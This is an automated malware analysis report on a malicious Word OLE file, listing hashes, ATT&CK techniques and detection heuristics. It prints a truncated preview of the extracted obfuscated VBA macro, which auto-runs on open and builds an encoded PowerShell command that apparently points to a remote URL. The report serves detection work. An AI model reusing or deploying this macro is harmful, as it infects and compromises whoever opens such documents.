Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 377977ad1861078f…

MALICIOUS

Office (OLE)

118.0 KB Created: 2018-06-14 07:11:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 2316b2540469c00ecfdf947455ee0c35 SHA-1: 7ebe51421d208e48865f7298de9a2b1a8fd8e1ec SHA-256: 377977ad1861078f7b5ea621006ecb566464c679962246a809916f0d445837ea
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OLE document containing a VBA macro. The macro utilizes the Shell() function, indicating an attempt to execute arbitrary commands or payloads. The Document_Open macro firing further suggests that the malicious code is designed to run automatically upon opening the document. The large amount of slack space in the OLE structure is also anomalous.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 120,832 bytes but its declared streams total only 35,355 bytes — 85,477 bytes (71%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16057 bytes
SHA-256: 86b8c38e676910981bb41e0a71aa71a03c8bc10cafb26cc9d6ccc45a8ac4f9f2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "soZIDaE"
Function YLKFj()
On Error Resume Next
uwDMuI = dRplWj
VZhMb = Sqr(48979)
mfwnrs = 54710 + Pfslm + (32014 * CDbl(EOLQSR) - CXwGTo / CSng(8110) - hvZcNZ / Hex(zjNVci) + 46560 - 39541)
OPJda = kZnNcw - MKCWIQ / 55092 / wptdD - 223327908 + Hex(ltGrMH) * KNEwVG - Round(97071)
iMCaCbDSkGc = "HeLL " + " . ( $EnV:Com" + "SPEc[4,15,25]" + "-JoiN'') ( -J"
hOGaYw = XLEKw
pkRuNY = Sqr(72096)
RZQzX = 7568 + jjWQqG + (3793 * CDbl(wZnKiP) - bnDfr / CSng(51090) - vmBLn / Hex(nozzCz) + 14229 - 748)
zSnBw = vrMYKl - OfSIKK / 55166 / IfHPjz - 223327908 + Hex(NzNzJ) * Bszro - Round(21983)
wihtHWsO = "OI" + "N ((" + "46 , 80 , 90 " + ",105 , 10" + "7, 73,42, 55,4" + "2 , " + "100, 111,125"
FpazO = aEzlD
bbOkn = Sqr(88958)
Ibrnf = 73812 + iciOL + (24158 * CDbl(NMmTRV) - bjSEKA / CSng(53970) - OOMJj / Hex(vKETF) + 48928 - 62710)
SfUhO = rYiVlm - NQCCc / 50788 / ChzLw - 223327908 + Hex(BIrqZ) * hIwir - Round(54540)
hVdWjisBzvz = ", 39," + " 101,104" + ", 96," + " 11" + "1, 10" + "5, 126,42 , 12"
TDmVw = mYMKY
mVEdC = Sqr(88987)
HMbLk = 62519 + kwjih + (85785 * CDbl(YFzQiK) - IHOPM / CSng(2144) - JtpwSd / Hex(AFwMB) + 68413 - 83543)
ZvcOmz = NwYfP - CrjOOd / 47878 / CEjaij - 223327908 + Hex(tLiww) * UtWEqS - Round(88745)
qtUlivdR = "0 ,107" + ",100" + " , 110, 1" + "01" + ", 1" + "03, 49,46 , 92 " + ",72,93 ,95, 90 "
AoWTQV = lqOZVi
pCRnzX = Sqr(60271)
rvnEQ = 72728 + kphRw + (66214 * CDbl(NKXKiG) - QKHRN / CSng(47003) - VUYdt / Hex(CaQmCI) + 47018 - 30853)
OqcWal = mCNMPV - oElvm / 88668 / IWhlRV - 223327908 + Hex(Aaajp) * KmRabp - Round(69342)
BAuuFTuF = ",105 ,42 , 55" + ", 42, " + "100 ," + "111 ,12" + "5," + "39 , 1" + "01, 104 ,96 ,11" + "1,1"
zuLAdj = MBCll
ialiM = Sqr(50274)
GUukJ = 30504 + mcmcZr + (96157 * CDbl(mLTwK) - IbWkno / CSng(81504) - YXwEYE / Hex(XpSaI) + 25265 - 45100)
jobTzs = AVblz - PiVTt / 68849 / VAWBY - 223327908 + Hex(TnKCFi) * ioKdF - Round(13253)
avEbj = "05 ,126 ,42 , 8" + "9, 115 ," + " 121 ," + " 1" + "26,11" + "1, 103 , 36, 68" + ",111 ,12" + "6 , 36 ,9"
zpzwW = TsEFS
PzdbP = Sqr(52252)
cLUiRZ = 90063 + ZkpTW + (14242 * CDbl(VaTrOm) - PjDYf / CSng(21019) - aiFjQ / Hex(BNFsE) + 19629 - 90134)
RkNECS = nittju - BkjGFk / 14934 / anDsK - 223327908 + Hex(hZwQjT) * wriNj - Round(11071)
zJYQQdXdn = "3," + " 111 , " + "104,73 ,10" + "2,99 ,1" + "11 " + ", 1" + "00,126 ,"
azKaAB = PtVJq
DhaaL = Sqr(20529)
wJZAKH = 93374 + EwdAa + (81121 * CDbl(sFsVi) - ubddrJ / CSng(72318) - jbGtd / Hex(oSiDc) + 17697 - 37826)
ocnLI = iwXSw - oYVWG / 93649 / OabptV - 223327908 + Hex(YXvDR) * avrwTh - Round(40595)
nQziiwG = "49 " + ", 46,102 ,103" + ", 65, 9" + "4 , 95,"
GVHkd = fzhKTd
cOmPKH = Sqr(88315)
wvNnup = 90036 + KATBAk + (86130 * CDbl(XDZbUI) - TEQXi / CSng(52259) - lknRiA / Hex(KZrajv) + 40392 - 76160)
Mnqtj = SMCUPj - jFsDM / 57468 / BoNkjU - 223327908 + Hex(JwLfdq) * ErKjbv - Round(48382)
TiIjS = "42, 55 ,42 , " + "45 , 98," + "126 ,126,122 ," + " 121," + "48," + " 37 , 37, 126," + "120,101 , 121," + " 126, 111,102, " + "36 ,111 ,127"
daFEV = JtMwdM
TLuNvL = Sqr(85669)
YaFNO = 81505 + Prpms + (52910 * CDbl(NiTliI) - Kmibwu / CSng(244) - zhzil / Hex(REWMFP) + 97416 - 73636)
vDNNn = lPwJMs - mOqzw / 56930 / YdsoYC - 223327908 + Hex(QEjEq) * UEaXS - Round(57512)
LCHAN = " ,37 ,77, 58 ,1" + "20, 50," + " 65 ,110" + " ,79,126," + " 66 ," + "127 , 37 ," + "74 ,98"
YLKFj = iMCaCbDSkGc + wihtHWsO + hVdWjisBzvz + qtUlivdR + BAuuFTuF + avEbj + zJYQQdXdn + nQziiwG + TiIjS + LCHAN
End Function
Function djdRiq()
On Error Resume Next
lwIGlu = jwEOwi
PIpwH = Sqr(73622)
nRLZpl = 30934 + LPEWl + (75842 * CDbl(oShSAL) - UlCiZi / CSng(38774) - RGILj / Hex(PwcsNQ) + 72916 - 87082)
fhjMzZ = LLlAK - wNaGwZ / 36777 / Znvpb - 223327908 + Hex(nVkfMN) * aabUop - Round(55057)
TJvaz = ", " + "126, 126 , 122" + ",4" + "8 , 37, 37, 126"
hbPbv = BiiCi
Ubiij = Sqr(27097)
cFunW = 42587 + ipbGow + (25694 * CDbl(nwlHj) - nsMfOf / CSng(60419) - nBdduH / Hex(fnwSA) + 87958 - 53066)
zuwcpN = HHqKwB - cKCFD / 14503 / mojwL - 223327908 + Hex(rEkzzX) * EjfSS - Round(13685)
... (truncated)